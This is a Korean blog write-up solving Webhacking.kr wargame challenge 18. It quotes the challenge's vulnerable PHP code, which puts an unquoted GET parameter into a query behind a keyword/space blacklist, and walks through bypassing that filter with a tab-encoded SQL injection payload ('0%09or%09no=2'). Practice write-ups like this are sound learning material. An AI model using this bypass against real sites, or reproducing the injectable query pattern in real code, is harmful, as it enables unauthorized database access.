이제 18번입니다.
앞에서는 주구장창 js만 했는데 이제 sql injection이네요. 데이터베이스로 넘어왔습니다.
Webhacking.kr
Index Welcome Stranger! Notice(en) [2019-08-18] In the process of receiving service, some loss of data has been observed. For example, in very few accounts there may be a truncation of the last one letter of an userid. If userid contains multibyte characte
webhacking.kr
페이지와 소스 코드입니다.
후반부에 php 코드가 있고 거기에서 무언가를 다뤄야 하나봅니다.
<?php
if($_GET['no']){ //받아온 값이 있을 때
$db = dbconnect(); //DB 연결
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack"); //SQL Injection을 약간이라도 방지하려는 시도
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
https://flash-ctf.tistory.com/43
[php] preg_match 함수
안녕하세요! 오늘은 php 함수중에 preg_match 함수에 대해서 설명할게요! 웹해킹 문제들을 풀다보면 php 코드에서 자주 등장하는 함수입니다! 먼저 어떻게 쓰이는지 알아보겠습니다 <예시>
flash-ctf.tistory.com
preg_match 함수에 대한 설명입니다. 여기가 제일 쉽게 설명한 것 같네요.
한번 1이라는 값을 입력해서 넣어줬더니 hi guest가 뜹니다.
이 말은 no값이 1이면 guest라는 것이죠.
select id from chall18 where id='guest' and no=$_GET[no]
select id from chall18 where id='guest' and no=1 //hi guest
select id from chall18 where id='guest' and no=0 //해당하는 값 없음
이렇게 인식하게 됩니다. 우리가 원하는 값은 admin이기 때문에 일단 0을 넣어서 해당하는 값이 없게 만들어줘야 합니다.
0 or no=2
라고 입력하면 admin 값이 나올 것 같습니다.
라고 생각했지만 preg_match에 의해 스페이스바가 걸려서 no hack이 뜨게 됩니다.
이를 우회할 수 있는 방법을 찾아야합니다.
퍼센트인코딩 값으로 문자를 표현하면 문자인 것으로 인식하기 때문에 이 방식을 사용하면 될 것 같습니다.
공백은 %09로 할 수 있겠네요.(tab이나 공백이나...)
0%09or%09no=2
이렇게 입력해보겠습니다.
문제를 해결할 수 있었네요.
참고로 링크에 입력해야 합니다.
텍스트창에 입력하면 인코딩되어서 링크로 들어가기 때문에 이상하게 인코딩됩니다.
'Hacking-기초 > [WEB] Webhacking.kr' 카테고리의 다른 글
드디어...사이트에 댓글을... (0) | 2020.05.21 |
---|---|
Webhacking.kr 19번 [150] (0) | 2020.05.21 |
Webhacking.kr 6번 [100] (0) | 2020.04.29 |
Webhacking.kr 26번 [100] (0) | 2020.04.29 |
Webhacking.kr 24번 [100] (0) | 2020.04.28 |